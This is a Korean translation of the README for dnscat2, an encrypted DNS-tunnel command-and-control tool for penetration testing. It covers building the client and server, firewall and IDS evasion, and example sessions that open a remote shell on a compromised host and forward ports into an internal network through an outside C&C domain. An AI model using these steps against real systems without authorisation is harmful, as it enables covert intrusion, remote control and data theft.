
DNS 프로토콜을 통한 암호화된 명령 및 제어 터널. 침투 테스트를 위한 은밀한 C&C 채널을 생성하며, DNS 쿼리를 통해 파일 전송, 셸 액세스 및 포트 포워딩 기능을 제공합니다.
***** 참고: .zip 다운로드의 비밀번호는 모두 "password" 입니다! *****
dnscat2에 오신 것을 환영합니다. 당신을 아프게 하거나 죽이지 않는 DNS 터널입니다!
이 도구는 DNS 프로토콜을 통해 암호화된 명령 및 제어(C&C) 채널을 생성하도록 설계되었습니다. 이는 거의 모든 네트워크에서 효과적인 터널입니다.
이 README 파일에는 시작하고 실행하는 데 필요한 모든 것이 포함되어 있습니다! 프로토콜, 코드 구조, 향후 계획 또는 기타 난해한 내용에 대해 더 깊이 알고 싶다면 doc/ 폴더를 확인하세요.
이것은 BSD 라이선스로 배포됩니다. 자세한 내용은 LICENSE.md를 참조하세요.
dnscat2는 클라이언트와 서버의 두 부분으로 구성됩니다.
클라이언트는 손상된 시스템에서 실행되도록 설계되었습니다. C로 작성되었으며 가능한 최소한의 종속성을 가집니다. 거의 모든 곳에서 실행되어야 합니다 (컴파일되거나 실행되지 않는 시스템을 발견하면 티켓을 제출해 주세요. 특히 해당 시스템에 접근할 수 있도록 도와줄 수 있다면 더욱 좋습니다).
클라이언트를 실행할 때 일반적으로 도메인 이름을 지정합니다. 모든 요청은 로컬 DNS 서버로 전송된 다음 해당 도메인의 권한 있는 DNS 서버(사용자가 제어하고 있다고 가정)로 리디렉션됩니다.
권한 있는 DNS 서버가 없는 경우 UDP/53(또는 선택한 포트)에서 직접 연결을 사용할 수도 있습니다. 더 빠르며 일반 관찰자에게는 여전히 DNS 트래픽처럼 보이지만 패킷 로그에서는 훨씬 더 눈에 띕니다(모든 도메인에는 "dnscat." 접두사가 붙습니다. 소스를 해킹하지 않는 한). 이 모드는 방화벽에 의해 자주 차단됩니다.
서버는 권한 있는 DNS 서버에서 실행되도록 설계되었습니다. Ruby로 작성되었으며 여러 다른 gem에 의존합니다. 실행할 때 클라이언트와 마찬가지로 수신할 도메인을 지정하고 UDP/53에서 직접 전송된 메시지도 수신합니다. 해당 도메인 중 하나에 대한 트래픽을 수신하면 논리적 연결을 설정하려고 시도합니다. 다른 트래픽을 수신하면 기본적으로 무시하지만 상위로 전달할 수도 있습니다.
두 부분에 대한 자세한 지침은 아래에 있습니다.
dnscat2는 특수 목적, 즉 명령 및 제어를 위해 설계되었다는 점에서 다른 DNS 터널링 프로토콜과 차별화됩니다.
호텔 네트워크에서 빠져나오거나 비행기에서 무료 인터넷을 사용하기 위해 설계된 것이 아닙니다. 그리고 단순히 TCP를 터널링하지도 않습니다.
프로토콜이 첨부되지 않은 모든 데이터를 터널링할 수 있습니다. 즉, 파일을 업로드 및 다운로드하고, 셸을 실행할 수 있으며, 이러한 작업을 잘 수행합니다. 또한 잠재적으로 TCP를 터널링할 수도 있지만, 이는 침투 테스트 도구의 맥락에서만 추가될 것입니다(즉, 네트워크 내부로 TCP 터널링). 범용 터널링 도구로는 사용되지 않습니다. 그런 것은 이미 있었고, (저에게는) 흥미롭지 않습니다.
또한 기본적으로 암호화됩니다. 다른 공개 DNS 터널이 모든 트래픽을 암호화한다고 생각하지 않습니다!
다음은 몇 가지 중요한 링크입니다:
dnscat2의 이론은 간단합니다. DNS 프로토콜을 통해 터널을 생성합니다.
왜 그럴까요? DNS에는 놀라운 속성이 있기 때문입니다. 서버에서 서버로 이동하여 어디로 가야 하는지 알아낼 것입니다.
즉, dnscat이 보안 네트워크에서 트래픽을 빼내기 위해서는 어떤 DNS 서버에 메시지를 보내기만 하면 됩니다. 그러면 DNS 네트워크를 통해 트래픽이 행복하게 전달되어 사용자의 DNS 서버에 도달합니다.
물론 권한 있는 DNS 서버에 액세스할 수 있다고 가정합니다. dnscat2는 또한 "직접" 연결, 즉 IP 주소와 UDP 포트 53(기본값)에서 dnscat 서버에 직접 연결하는 dnscat 클라이언트 실행을 지원합니다. 트래픽은 여전히 DNS 트래픽처럼 보이며 덜 정교한 IDS/IPS 시스템을 통과할 수 있지만 방화벽에 의해 차단될 가능성이 높습니다.
권한 있는 DNS 서버를 설정하는 방법을 잘 모르겠다면 도메인 제공업체와 설정해야 하는 것입니다. izhan이 도움이 되어 작성했습니다.
클라이언트 컴파일은 매우 간단해야 합니다. Linux의 경우 make/gcc, Windows의 경우 Cygwin 또는 Microsoft Visual Studio만 있으면 됩니다. Linux 명령은 다음과 같습니다:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Windows에서는 client/win32/dnscat2.vcproj를 Visual Studio에 로드하고 "build"를 누르세요. Visual Studio 2008에서 만들고 테스트했습니다. 최신 버전의 정식 사본을 무료로 얻을 때까지는 이 버전을 계속 사용할 것입니다. :)
컴파일에 실패하면 내 github 페이지에 버그를 제출해 주세요! 시스템에 대한 세부 정보를 보내주십시오.
플래그 없이 실행하여 dnscat2가 성공적으로 컴파일되었는지 확인할 수 있습니다. 구성된 DNS 서버로 DNS 터널을 시작하려는 시도가 표시됩니다(실패할 것입니다):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
서버는 "컴파일"되지 않지만 몇 가지 Ruby 종속성이 필요합니다. 불행히도 Ruby 종속성은 작동시키기 어려울 수 있으므로 행운을 빕니다! Ruby 전문가 중 이 부분을 개선하는 데 도움을 주고 싶은 분이 있으면 감사하겠습니다!
Ruby와 Gem이 설치되어 있고 정상적으로 작동한다고 가정합니다. 그렇지 않은 경우 apt-get, emerge, rvm 또는 운영 체제에서 일반적인 방법으로 설치하십시오.
Ruby/Gem이 준비되면 다음 명령을 실행하십시오(참고: 이미 클라이언트를 설치했다면 git clone 명령을 건너뛸 수 있으며, 이미 bundler를 설치했다면 gem install bundler를 건너뛸 수 있습니다):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
gem install bundler 또는 bundler install에서 권한 오류가 발생하면 루트로 실행해야 할 수 있습니다. 많은 문제가 있는 경우 Ruby/Gem을 제거하고 rvm을 사용하여 루트 없이 모든 것을 설치하십시오.
다음과 같은 오류가 발생하면:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Ruby의 -dev 버전을 설치해야 함을 의미합니다:
$ sudo apt-get install ruby-dev
sudo가 항상 모든 것을 올바르게 작동시키기에 충분하지 않다는 것을 알게 되었습니다. 때로는 루트로 전환하여 해당 계정으로 직접 작업해야 합니다. rvmsudo는 ctrl-z를 깨뜨리기 때문에 도움이 되지 않습니다.
플래그 없이 실행하여 서버가 작동하는지 확인하고 dnscat2> 프롬프트가 표시되는지 확인할 수 있습니다:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
루트로 실행하지 않으면 UDP/53 수신에 문제가 있을 수 있습니다(--dnsport를 사용하여 변경할 수 있음). 해당 경우 오류 메시지가 표시됩니다.
Ruby를 루트로 실행하는 데 문제가 있는 경우 처음 실행할 때 수행하는 방법은 다음과 같습니다:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
그리고 이후 실행:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo를 사용하면 더 쉬워야 하지만 불행히도 dnscat2는 rvmsudo와 잘 작동하지 않습니다.
도구를 구체적으로 사용하는 방법에 대해 이야기하기 전에 dnscat의 구조에 대해 알아보겠습니다. dnscat 도구는 클라이언트와 서버의 두 부분으로 나뉩니다. 컴파일 과정에서 보셨듯이 클라이언트는 C로 작성되고 서버는 Ruby로 작성됩니다.
일반적으로 서버가 먼저 실행됩니다. 오래 지속될 수 있으며 원하는 만큼 많은 클라이언트를 처리할 수 있습니다. 앞서 말했듯이 기본적으로 C&C 서비스입니다.
나중에 클라이언트가 실행되어 서버와 세션을 엽니다(세션에 대한 자세한 내용은 아래 참조). 세션은 DNS 계층 구조를 통과하거나(권장되지만 더 복잡함) 서버에 직접 연결할 수 있습니다. DNS 계층 구조를 통과하려면 권한 있는 도메인이 필요하지만 대부분의 방화벽을 우회합니다. 서버에 직접 연결하는 것은 여러 이유로 더 눈에 띕니다.
기본적으로 연결은 자동으로 암호화됩니다(클라이언트에서 --no-encryption, 서버에서 --security=open을 사용하여 해제). 새 연결을 설정할 때 중간자 공격에 대해 편집증이 있는 경우 피어를 확인하는 두 가지 옵션이 있습니다:
--secret 인수를 사용하여 사전 공유 비밀을 전달하여 연결 검증서버(일반적으로 특정 도메인의 권한 있는 DNS 서버에서 실행)는 기능이 풍부하고 대화형이며 사용자 친화적으로 설계되었습니다. Ruby로 작성되었으며 많은 디자인이 Metasploit 및 Meterpreter에서 영감을 받았습니다.
위의 컴파일 지침을 따랐다면 서버를 실행하기만 하면 됩니다:
$ ruby ./dnscat2.rb skullseclabs.org
여기서 "skullseclabs.org"는 자신의 도메인입니다. 권한 있는 DNS 서버가 없어도 필수는 아니지만 이 도구는 권한 있는 서버를 사용할 때 훨씬 더 잘 작동합니다.
그것이 필요한 전부입니다! 그 외에는 컴파일된 경우 사용 가능한 클라이언트의 --ping 명령을 사용하여 다른 시스템에서 테스트할 수 있습니다:
$ ./dnscat --ping skullseclabs.org
핑이 성공하면 C&C 서버가 제대로 작동하는 것입니다! 다른 포트에서 DNS 서버를 실행했거나 사용자 지정 DNS 확인자를 사용해야 하는 경우 --ping 외에도 --dns 플래그를 사용할 수 있습니다:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
--dns 인수를 지정할 때 도메인은 해당 인수의 일부여야 합니다(domain=xxx). 명령줄에 직접 전달할 수 없습니다(명령 구문 분석의 제한 때문입니다. 향후 릴리스에서 개선할 예정입니다).
프로세스가 실행 중일 때 기본적으로 동일한 구문을 사용하여 새 서버를 시작할 수 있습니다:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
다른 호스트/포트에 있는 한 원하는 만큼 많은 DNS 리스너를 실행할 수 있습니다. 데이터가 들어오면 나머지 프로세스는 데이터가 어떤 리스너에서 왔는지조차 알지 못합니다. 실제로 클라이언트는 다른 패킷을 다른 포트로 보낼 수 있으며 세션은 예상대로 계속됩니다.
클라이언트(일반적으로 시스템을 손상시킨 후 실행)는 간단하고 안정적이며 이식 가능하도록 설계되었습니다. C로 작성되었으며 가능한 적은 라이브러리 종속성을 가지며 Linux, Windows, Cygwin, FreeBSD 및 Mac OS X에서 기본적으로 컴파일 및 실행됩니다.
클라이언트에는 명령줄에 도메인 이름이 지정됩니다. 예:
./dnscat2 skullseclabs.org
이 예에서는 skullseclabs.org에서 실행 중인 dnscat2 서버와 C&C 세션을 생성합니다. 권한 있는 도메인이 옵션이 아닌 경우 대신 특정 IP 주소를 연결하도록 지정할 수 있습니다:
./dnscat2 --dns host=206.220.196.59,port=5353
해당 호스트/포트에서 dnscat2 서버가 실행 중이라고 가정하면 거기에 세션이 생성됩니다.
이런, 터널을 좋아하는 것 같군요. 이제 터널을 통해 터널을 터널링할 수 있습니다!
현재 "ssh -L"과 유사하게 dnscat2를 통해 연결을 터널링할 수 있습니다! 다른 모드("ssh -D" 및 "ssh -R")도 곧 제공될 예정입니다!
세션(명령 세션)이 시작된 후 "listen" 명령을 사용하여 새 터널링된 포트를 엽니다. 구문은 ssh -L과 대략 동일합니다:
listen [lhost:]lport rhost:rport
로컬 호스트는 선택 사항이며 기본적으로 모든 인터페이스(0.0.0.0)로 설정됩니다. 로컬 포트와 원격 호스트/포트는 필수입니다.
dnscat2 서버는 lport에서 수신합니다. 해당 포트에 수신된 모든 연결은 dnscat2 클라이언트를 통해 선택한 원격 호스트/포트로 전달됩니다.
예를 들어 서버의 포트 4444에서 수신하고 트래픽을 google로 전달합니다:
listen 4444 www.google.com:80
그런 다음 http://localhost:4444에 연결하면 dnscat2 클라이언트를 통해 나와 google.com에 연결됩니다.
침투 테스트에서 이 기능을 사용하여 SSH 연결을 dnscat2 클라이언트(누군가의 회사 네트워크에서 실행 중)를 통해 내부 장치로 전달하려는 경우를 가정해 보겠습니다. 다음과 같이 할 수 있습니다:
listen 127.0.0.1:2222 10.10.10.10:22
이것은 dnscat2 서버의 로컬호스트 인터페이스에서만 수신하며 터널을 통해 10.10.10.10의 포트 22로 연결을 전달합니다.
dnscat2는 기본적으로 암호화됩니다.
저는 암호학자가 아니며, 필요에 따라 암호화 방식을 직접 고안했습니다. 결과적으로 이것을 100% 신뢰하지는 않습니다. 공격을 방지하는 데 꽤 괜찮은 작업을 했다고 생각하지만 전문적으로 감사되지는 않았습니다. 주의해서 사용하십시오.
암호화에 대한 많은 기술 정보는 프로토콜 문서에 있습니다. 그러나 기본적인 내용은 다음과 같습니다.
기본적으로 클라이언트와 서버 모두 암호화를 지원하고 시도합니다. 각 연결은 ECDH로 협상된 새로운 키 쌍을 사용합니다. 모든 암호화는 salsa20으로 수행되며 서명은 sha3를 사용합니다.
클라이언트에서 --no-encryption을 전달하거나 make nocrypto를 사용하여 컴파일하여 암호화를 비활성화할 수 있습니다.
서버는 기본적으로 암호화되지 않은 연결을 거부합니다. 암호화되지 않은 연결을 허용하려면 서버에 --security=open을 전달하거나 콘솔에서 set security=open을 실행하십시오.
기본적으로 중간자 공격에 대한 보호 기능은 없습니다. 앞서 언급했듯이 MitM 보호를 위한 두 가지 방법이 있습니다: 사전 공유 비밀 또는 "짧은 인증 문자열".
사전 공유 비밀은 클라이언트와 서버 모두에 명령줄로 전달되며 클라이언트를 서버에 인증하고 서버를 클라이언트에 인증하는 데 사용됩니다. 어느 정도 강력한 값이어야 합니다. 공격자가 빠르게 추측할 수 없는 값(공격자가 추측할 수 있는 시간이 짧기 때문에 몇 초 동안만 견디면 됩니다).
사전 공유 비밀은 클라이언트와 서버 모두에서 --secret 매개변수를 통해 전달됩니다. 서버는 런타임에 set secret=<new value>를 사용하여 변경할 수 있지만 활성 클라이언트가 연결된 경우 예상치 못한 결과가 발생할 수 있습니다.
또한 서버는 --security=authenticated 또는 set security=authenticated를 사용하여 인증된 연결만 허용하도록 적용할 수 있습니다. --secret 매개변수를 전달하면 기본적으로 활성화됩니다.
연결 인증의 추가 작업이 필요하지 않은 경우 클라이언트와 서버 모두에 "짧은 인증 문자열"이 표시됩니다. 짧은 인증 문자열은 양쪽이 공유하는 비밀 값을 기반으로 파생된 일련의 영어 단어입니다.
클라이언트와 서버 모두에 동일한 영어 단어 집합이 표시되면 연결은 합리적으로 안전한 것으로 간주할 수 있습니다.
암호화에 대해 알아야 할 전부입니다! 자세한 내용은 프로토콜 문서를 참조하십시오! 암호화에 대한 피드백도 환영합니다. :)
마지막으로 암호화에 문제가 있으면 알려주십시오! 기본적으로 시작 시 "crypto-debug"라는 창이 생성됩니다. 암호화 문제가 있는 경우 해당 로그를 보내주십시오! 또는 더 좋은 방법은 --firehose 및 --packet-trace 인수를 사용하여 dnscat2를 실행하고 모든 것을 보내주십시오! 개인 키가 노출되어도 걱정하지 마십시오. 해당 세션에만 사용됩니다.
dnscat2 UI는 여러 창으로 구성됩니다. 기본 창은 'main' 창이라고 합니다. 아무 명령 프롬프트에 windows(또는 sessions)를 입력하여 창 목록을 얻을 수 있습니다:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
두 개의 창이 있음을 알 수 있습니다. 창 0은 기본 창이고 창 dns1은 리스너(기술적으로 '터널 드라이버'라고 함)입니다.
명령을 허용하는 모든 창(main 및 명령 세션)에서 help를 입력하여 명령 목록을 얻을 수 있습니다:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
이러한 명령 중 하나에 대해 -h 또는 --help를 사용하여 세부 정보를 얻을 수 있습니다:dnscat2> window --help
Error: The user requested help
Interact with a window
-i, --i= 선택한 창과 상호작용
-h, --help 이 메시지 표시
window 명령을 사용하여 dns1(상태 창)과 상호작용해 보겠습니다.
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
권한 있는 DNS 서버가 있다고 가정하면, 다음을 사용하여 클라이언트를 어디서나 실행할 수 있습니다:
./dnscat2 skullseclabs.org
도메인 이름 없이 서버에 직접 연결하려면 다음을 실행하세요:
./dnscat2 --dns server=x.x.x.x,port=53531
물론, <server>는 직접 알아내야 합니다! 클라이언트는 UDP 포트 53531에 직접 연결됩니다.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
수신 및 송신된 문자열들은 디코딩하면 핑(ping)입니다.
'부모' 창(여기서는 main)으로 전환하려면 ctrl-z를 누르십시오. ctrl-z가 프로세스를 종료시키면 더 나은 방법으로 실행해야 할 수 있습니다(rvmsudo는 작동하지 않음, 위 참조).
새 클라이언트가 연결되어 세션이 생성되면 main(및 일부 다른 창)에서 알림을 받게 됩니다:
New window created: 1
dnscat2>
(참고: 프롬프트를 다시 보려면 엔터를 눌러야 합니다)
dns1 상태 창으로 전환한 것처럼 새 창으로 전환할 수 있습니다:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
즉, 'ping'과 같은 dnscat2 명령을 입력할 수 있습니다! 전체 클라이언트 목록은 'help'를 시도해 보세요.
command session (ubuntu-64) 1>
명령 세션은 추가 세션을 생성할 수 있습니다. 예를 들어, shell 명령:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(참고: 이 문서 전체에서 출력을 정리하고 있습니다. 보통 프롬프트를 다시 보려면 엔터를 눌러야 합니다)
그런 다음, 기본 세션(ctrl-z 또는 suspend)으로 돌아가면 창 목록에 표시됩니다:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
안타깝게도 특정 명령 세션의 'windows' 명령은 해당 세션의 하위 창만 표시하며, 현재 새 세션은 하위로 생성되지 않습니다.
일부 세션에 [*]가 표시되는데, 이는 마지막으로 확인한 이후 활동이 있었음을 의미합니다.
세션과 상호작용할 때 인터페이스는 세션 유형에 따라 다르게 보입니다. 기본 세션 유형(명령 세션)에서 보았듯이 최상위 세션과 같은 UI가 표시됩니다('help' 입력 또는 명령 실행 가능). 그러나 'shell' 세션과 상호작용할 경우 명령을 입력하기 전까지는 별다른 화면이 나타나지 않습니다:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
즉, 입력하는 모든 내용이 그대로 클라이언트로 전송되고, 클라이언트가 보내는 모든 내용이 화면에 그대로 표시됩니다! 클라이언트가 명령을 실행 중이고 프롬프트가 보이지 않으면 'pwd' 등을 입력해 보세요!
돌아가려면 ctrl-z를 입력하세요.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
이를 벗어나려면 ctrl-z를 사용하거나 "exit"를 입력하면 됩니다(세션 종료).
마지막으로, 세션을 종료하려면 kill 명령을 사용할 수 있습니다:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
과거에는 몇 가지 DNS 터널링 도구가 있었습니다. 그중 하나는 Tadek Pietraszek이 작성한 dnscat이었습니다. 문제는 Java로 작성되었고, 저는 기본적으로 어디서나 실행될 수 있는 것을 원했다는 것입니다.
그 dnscat 버전은 NSTX라는 도구를 기반으로 했는데, 해당 페이지는 더 이상 존재하지 않으며 Wayback Machine에도 없기 때문에 저는 그것에 대해 아무것도 모릅니다.
나중에 저는 C 구현을 작성하고 (허가 없이) dnscat이라고 불렀습니다. 이전 Java 버전이 유지보수되지 않았고 이름이 마음에 들었기 때문입니다(-ng라고 부를까도 생각했지만 너무 길다고 느꼈습니다). 작동은 했지만 많은 문제가 있었습니다. 클라이언트와 서버가 netcat처럼 하나의 도구였는데, DNS가 클라이언트/서버 모델이기 때문에 잘 맞지 않았습니다. 또 다른 문제는 DNS 프로토콜에 너무 밀접하게 연결되어 DNS를 통해서만 실행될 수 있다는 점이었습니다.
dnscat2 - dnscat의 후속작 - 은 제가 저지른 잘못을 바로잡기 위한 시도입니다. dnscat2는 별도의 서버(Ruby)와 클라이언트(C)를 가지고 있으며, 모든 것을 바이트 스트림으로 처리하고, 일종의 드라이버를 사용하여 그 바이트 스트림을 DNS 요청으로 변환하고 다시 되돌립니다. 따라서 계층화된 프로토콜이며, DNS는 하위 계층입니다.
결과적으로 저는 dnscat 프로토콜이라고 부르는 프로토콜을 고안했습니다. 이에 대한 문서는 docs/protocol.md에서 찾을 수 있습니다. 클라이언트가 주기적으로 서버를 폴링하고 서버가 메시지(또는 오류 코드)로 응답하는 간단한 폴링 네트워크 프로토콜입니다. 이 프로토콜은 dnscat1에서 겪었던 다양한 문제(순서가 잘못된 패킷, 손실된 패킷, 중복된 패킷)에 탄력적으로 대응할 수 있도록 설계되었습니다.